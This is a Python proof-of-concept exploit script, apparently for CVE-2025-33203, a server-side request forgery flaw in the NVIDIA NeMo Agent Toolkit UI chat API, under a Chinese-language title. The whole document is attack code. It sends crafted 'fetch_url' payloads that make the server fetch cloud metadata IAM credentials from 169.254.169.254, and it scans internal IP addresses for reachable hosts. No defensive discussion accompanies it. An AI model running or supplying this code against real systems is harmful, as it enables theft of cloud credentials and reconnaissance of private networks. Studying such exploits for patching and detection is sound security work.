CVE-2025-33203: NVIDIA NeMo Agent Toolkit UI服务器端请求伪造漏洞

import requests import json # CVE-2025-33203 PoC - NVIDIA NeMo Agent Toolkit SSRF # Target: NVIDIA NeMo Agent Toolkit UI for Web TARGET_URL = "http://target-server:8080/api/chat" ATTACKER_CONTROLLED_URL = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" def exploit_ssrf(target_url, malicious_url): """ Exploit SSRF vulnerability in NVIDIA NeMo Agent Toolkit chat API This PoC demonstrates how an attacker can trigger SSRF to access cloud metadata """ headers = { "Content-Type": "application/json", "Authorization": "Bearer <valid_token>" } # Malicious payload that triggers SSRF payload = { "message": "Please fetch the data from internal service", "action": "fetch_url", "url": malicious_url, "options": { "timeout": 30, "follow_redirects": True } } try: response = requests.post(target_url, headers=headers, json=payload, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") return response.json() except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None def scan_internal_network(target_url): """ Scan internal network via SSRF """ internal_ips = [ "10.0.0.1", "10.0.0.2", "192.168.1.1", "127.0.0.1" ] results = [] for ip in internal_ips: payload = { "message": "check status", "action": "fetch_url", "url": f"http://{ip}/", "options": {"timeout": 5} } try: response = requests.post(target_url, json=payload, timeout=5) results.append({ "ip": ip, "accessible": response.status_code != 500, "status": response.status_code }) except: results.append({"ip": ip, "accessible": False}) return results if __name__ == "__main__": print("[*] CVE-2025-33203 SSRF Exploitation PoC") print("[*] Target: NVIDIA NeMo Agent Toolkit UI") # Exploit to fetch cloud metadata print("\n[+] Attempting to fetch cloud metadata...") result = exploit_ssrf(TARGET_URL, ATTACKER_CONTROLLED_URL) # Scan internal network print("\n[+] Scanning internal network...") internal_results = scan_internal_network(TARGET_URL) for r in internal_results: print(f" {r['ip']}: {'Accessible' if r.get('accessible') else 'Not Accessible'}")